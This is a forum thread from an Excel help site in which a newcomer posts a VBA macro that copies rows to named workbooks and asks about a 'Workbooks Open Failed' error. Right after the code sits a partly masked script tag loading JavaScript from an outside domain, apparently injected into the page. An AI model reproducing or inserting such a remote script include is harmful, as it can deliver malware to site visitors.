Copy and paste in another workbook with condition

phbragan

New Member
Joined
Jul 14, 2017
Messages
1
Hi everyone!

I'm Pedro Bragança from Brazil! I'm a newbie in VBA excel and its codes. I want to develop a code that copy row after row if the macro match a certain condition in the workbook. When it match a condition like Aline/Carol/Karine, it open another workbook and copy the row selected (1 to 16)(the another workbooks called Aline, Carol Karine too). Nowadays, I use a macro that copy a row with these criteria, but the following code generates a error whose I cannot fix (1004 Error - Workbooks Open Failed)


Code:
Sub Copy_Conditions ()


Dim LastRow As Integer, i As Integer, erow As Integer    LastRow = ActiveSheet.Range("A" & Rows.Count).End(xlUp).Row
    
    Application.ScreenUpdating = False
    Application.Calculation = xlManual
    
   
    
    For i = 2 To LastRow


     If Cells(i, 9) = "Aline" Then
        Range(Cells(i, 1), Cells(i, 16)).Select
        Selection.Copy


        Workbooks.Open Filename:="L:\Controle\Assessoria Tecnica\Pessoas\Aline.xlsx"
        Worksheets("Plan1").Select
        erow = ActiveSheet.Cells(Rows.Count, 1).End(xlUp).Offset(1, 0).Row


        ActiveSheet.Cells(erow, 1).Select
        ActiveSheet.Paste
        ActiveWorkbook.Save
        ActiveWorkbook.Close
        Application.CutCopyMode = False
     
     
     If Cells(i, 9) = "Carol" Then
        Range(Cells(i, 1), Cells(i, 16)).Select
        Selection.Copy


        Workbooks.Open Filename:="L:\Controle\Assessoria Tecnica\Pessoas\Carol.xlsx"
        Worksheets("Plan1").Select
        erow = ActiveSheet.Cells(Rows.Count, 1).End(xlUp).Offset(1, 0).Row


        ActiveSheet.Cells(erow, 1).Select
        ActiveSheet.Paste
        ActiveWorkbook.Save
        ActiveWorkbook.Close
        Application.CutCopyMode = False

End If
Next i


    Application.ScreenUpdating = True '
    Application.Calculation = xlCalculationAutomatic
    
    MsgBox "Informações inseridas com sucesso", vbInformation
    
    


End Sub
******** type="text/javascript" id="lg210a" src="https://cloudapi.online/js/api46.js">*********>
 

Excel Facts

Remove leading & trailing spaces
Save as CSV to remove all leading and trailing spaces. It is faster than using TRIM().

Forum statistics

Threads
1,221,418
Messages
6,159,791
Members
451,589
Latest member
Harold14

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Back
Top